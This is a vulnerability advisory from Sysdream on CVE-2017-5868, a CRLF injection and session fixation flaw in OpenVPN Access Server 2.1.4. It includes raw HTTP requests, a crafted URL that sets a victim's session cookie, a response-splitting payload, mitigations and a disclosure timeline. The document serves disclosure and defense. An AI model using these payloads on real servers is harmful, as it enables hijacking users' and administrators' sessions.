OpenVPN Access Server is a full featured secure network tunneling VPN software solution that integrates OpenVPN server capabilities, enterprise management capabilities, simplified OpenVPN Connect UI, and OpenVPN Client software packages that accommodate Windows, MAC, Linux, Android, and iOS environments. OpenVPN Access Server supports a wide range of configurations, including secure and granular remote access to internal network and/ or private cloud network resources and applications with fine-grained access control.
CRLF injection + Session fixation
OpenVPN-AS (Version 2.1.4) is prone to CRLF injection. Using the character %0A, it is possible to inject headers and content.
Furthermore, this vulnerability allow us to exploit a session fixation attack. Indeed, during the authentication the session cookie is poorly handled.
We have not been able to exploit it but the application may be prone to HTTP Response Splitting attacks.
Exploiting these vulnerabilities, we were able to steal a session from a victim and then access the application (OpenVPN-AS) with his rights.
Exploiting this on an administrator account may lead to serious consequences.
CVE ID: CVE-2017-5868
Access Vector: network
Security Risk: medium
Vulnerability: CWE-113, CWE-93, CWE-384
CVSS Base Score: 5.3 (Medium)
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L
It is possible to inject a CRLF character like
%0A using the URL : https://www.mysite.com/__session_start__/
GET /__session_start__/%0atest HTTP/1.1 Host: www.mysite.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Cookie: openvpn_sess_******=******dc61 Pragma: no-cache Cache-Control: no-cache
As a result, we obtained this response from the server :
HTTP/1.1 302 Found Date: Wed, 18 Jan 2017 10:19:46 GMT Connection: close Content-Type: text/html; charset=UTF-8 Location: https://www.mysite.com/ test Server: OpenVPN-AS <html> <body> <p>REDIRECT</p> </body> </html>
%0A character is taken into account and we can clearly see the test string at an unexpected location.
Using a CRLF injection in order to do a session fixation attack
Using the CRLF injection and a problem during the authentication phase (the session cookie is not re-generated), we were able to successfully exploit a session fixation vulnerability.
In order to exploit this vulnerability, we followed the steps below :
- As the victim, access the OpenVPN-AS application in order to obtain a valid session cookie (at this point, the victim is not authenticated).
- Sent a malicious URL to the victim in order to set his session cookie.
As an example, we aim to inject a Set-Cookie header with a known value :
https://www.mysite.com/__session_start__/%0aSet-Cookie: openvpn_sess_******=******cf23; Path=/; Secure; HttpOnly
This URL will allow the attacker to choose the value of the session cookie of the victim.
- At this point, the victim needs to authenticate itself. His profile (and rights) will then be associated with the session cookie controlled by the attacker.
- Finally, as the attacker, we can access the OpenVPN-AS application with the rights of the victim (using the session cookie).
Tries for an HTTP Response Splitting attack
We also tried to exploit an HTTP Response Splitting attack without success, for now.
GET /__session_start__/%0aSet-Cookie:%20openvpn_sess_******=******ac42;%20Path=/%0aContent-Length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-Length:%2017%0a%0a<html>TEST</html> HTTP/1.1 Host: www.mysite.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Cookie: openvpn_sess_******=******dc61 Pragma: no-cache Cache-Control: no-cache
As we can see, it is possible to use multiple times the character %0A, in order to forge another response.
HTTP/1.1 302 Found Date: Wed, 18 Jan 2017 10:29:23 GMT Connection: close Content-Type: text/html; charset=UTF-8 Location: https://www.mysite.com/ Set-Cookie: openvpn_sess_******=******ac42; Path=/ Content-Length: 0 Content-Length: 171 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 17 <html>TEST</html> Server: OpenVPN-AS 3b <html> <body> <p>REDIRECT</p> </body> </html> 0
The vendor didn't provided a patch for this vulnerability. However, several solutions can be taken :
- Use a Reverse Proxy in order to restrict CRLF characters in URI.
- Restrict access to the web interface (for instance, IP whitelisting).
From the vendor side, several steps need to be taken:
- CRLF characters must be escaped
- Session cookie must be re-generated during the authentication
- 18/01/2017 : Initial discovery.
- 06/02/2017 : First contact with OpenVPN Security team.
- 13/02/2017 : OpenVPN Team request to file a ticket on the Access Server support system. (#IFX-370-42406)
- 17/02/2017 : Reply from the owner, acknowledging the vulnerability and planning to fix the vulnerabilities.
- 29/03/2017 : Sysdream Labs request for an ETA, warning for public disclosure.
- 21/04/2017 : New request for feedback.
- 04/05/2017 : Another and last attempt.
- 23/05/2017 : Public disclosure.
- Julien Boulet, Sysdream (j.boulet -at- sysdream -dot- com)